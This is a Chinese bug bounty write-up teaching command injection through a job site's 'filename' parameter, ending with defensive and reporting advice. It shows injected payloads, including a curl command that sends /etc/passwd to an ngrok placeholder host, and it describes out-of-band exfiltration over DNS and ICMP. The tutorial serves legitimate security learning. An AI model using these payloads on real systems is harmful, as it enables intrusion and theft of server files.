bug bounty经历分享: 命令注入
字数 1098 2025-08-27 12:33:48

命令注入漏洞实战教学文档

1. 命令注入漏洞概述

命令注入(Command Injection)是一种安全漏洞,攻击者能够在应用程序中注入并执行任意系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时,而没有进行适当的过滤或转义。

2. 漏洞发现过程

2.1 初步识别

  1. 目标定位:在一个职位列表网站发现可疑参数
  2. 可疑参数filename参数可能存在命令注入风险

2.2 测试方法

时间延迟测试

  • 使用sleep命令验证响应时间变化:

    filename=sleep 5
    
    • 观察响应延迟5-6秒(实际测量6.113毫秒)
    filename=sleep 10
    
    • 观察响应延迟10-11秒(实际测量11.137毫秒)

网络通信验证

  • 使用ping命令验证与攻击者服务器的通信:
    filename=ping -c 5 <攻击者服务器IP>
    
    • 在攻击者服务器运行tcpdump监听ICMP包:
      tcpdump -i <interface> -n icmp
      
    • 确认收到5个来自目标服务器的ICMP包

HTTP请求验证

  • 使用ngrok搭建临时HTTP服务:
    ./ngrok http 80
    
  • 注入curl命令测试:
    filename=curl blablabla.ngrok.io
    
    • 在ngrok Web界面(http://127.0.0.1:4040)确认收到请求

3. 漏洞利用技术

3.1 文件读取

通过命令注入读取服务器敏感文件:

filename=curl -F shl=@/etc/passwd blablabla.ngrok.io
  • /etc/passwd文件通过POST请求发送到攻击者服务器
  • 使用-F参数上传文件,shl为表单字段名

3.2 数据外带技术

  • 使用curlwget等工具将数据外带
  • 使用ngrok等工具绕过防火墙限制
  • 使用DNS、ICMP等协议进行数据外带

4. 防御措施

4.1 输入验证

  • 对用户输入进行严格的白名单验证
  • 禁止特殊字符和命令分隔符(如;&|$()等)

4.2 安全编码实践

  • 使用安全的API替代系统命令调用
  • 如必须使用系统命令,使用参数化调用而非字符串拼接

4.3 最小权限原则

  • 应用程序运行在最小必要权限账户下
  • 限制系统命令的执行能力

4.4 输出编码

  • 对命令输出进行适当的编码处理

5. 漏洞报告要点

  1. 清晰描述:详细说明漏洞位置和利用方式
  2. 可复现的PoC:提供可重现漏洞的步骤
  3. 影响评估:说明漏洞可能造成的危害
  4. 修复建议:提供可行的修复方案

6. 工具推荐

  1. ngrok:用于创建临时HTTP服务接收外带数据
  2. tcpdump:网络流量分析工具
  3. Burp Suite:用于测试和验证Web应用漏洞
  4. curl/wget:用于验证命令执行和数据外带

7. 总结

命令注入是一种高危漏洞,可能导致服务器完全沦陷。通过时间延迟测试、网络通信验证和文件读取等技术可以确认漏洞存在。防御关键在于严格的输入验证和安全编码实践。在漏洞报告中应提供清晰的复现步骤和修复建议。

命令注入漏洞实战教学文档 1. 命令注入漏洞概述 命令注入(Command Injection)是一种安全漏洞,攻击者能够在应用程序中注入并执行任意系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时,而没有进行适当的过滤或转义。 2. 漏洞发现过程 2.1 初步识别 目标定位 :在一个职位列表网站发现可疑参数 可疑参数 : filename 参数可能存在命令注入风险 2.2 测试方法 时间延迟测试 使用 sleep 命令验证响应时间变化: 观察响应延迟5-6秒(实际测量6.113毫秒) 观察响应延迟10-11秒(实际测量11.137毫秒) 网络通信验证 使用 ping 命令验证与攻击者服务器的通信: 在攻击者服务器运行 tcpdump 监听ICMP包: 确认收到5个来自目标服务器的ICMP包 HTTP请求验证 使用 ngrok 搭建临时HTTP服务: 注入curl命令测试: 在ngrok Web界面( http://127.0.0.1:4040 )确认收到请求 3. 漏洞利用技术 3.1 文件读取 通过命令注入读取服务器敏感文件: 将 /etc/passwd 文件通过POST请求发送到攻击者服务器 使用 -F 参数上传文件, shl 为表单字段名 3.2 数据外带技术 使用 curl 、 wget 等工具将数据外带 使用 ngrok 等工具绕过防火墙限制 使用DNS、ICMP等协议进行数据外带 4. 防御措施 4.1 输入验证 对用户输入进行严格的白名单验证 禁止特殊字符和命令分隔符(如 ; 、 & 、 | 、 $() 等) 4.2 安全编码实践 使用安全的API替代系统命令调用 如必须使用系统命令,使用参数化调用而非字符串拼接 4.3 最小权限原则 应用程序运行在最小必要权限账户下 限制系统命令的执行能力 4.4 输出编码 对命令输出进行适当的编码处理 5. 漏洞报告要点 清晰描述 :详细说明漏洞位置和利用方式 可复现的PoC :提供可重现漏洞的步骤 影响评估 :说明漏洞可能造成的危害 修复建议 :提供可行的修复方案 6. 工具推荐 ngrok :用于创建临时HTTP服务接收外带数据 tcpdump :网络流量分析工具 Burp Suite :用于测试和验证Web应用漏洞 curl/wget :用于验证命令执行和数据外带 7. 总结 命令注入是一种高危漏洞,可能导致服务器完全沦陷。通过时间延迟测试、网络通信验证和文件读取等技术可以确认漏洞存在。防御关键在于严格的输入验证和安全编码实践。在漏洞报告中应提供清晰的复现步骤和修复建议。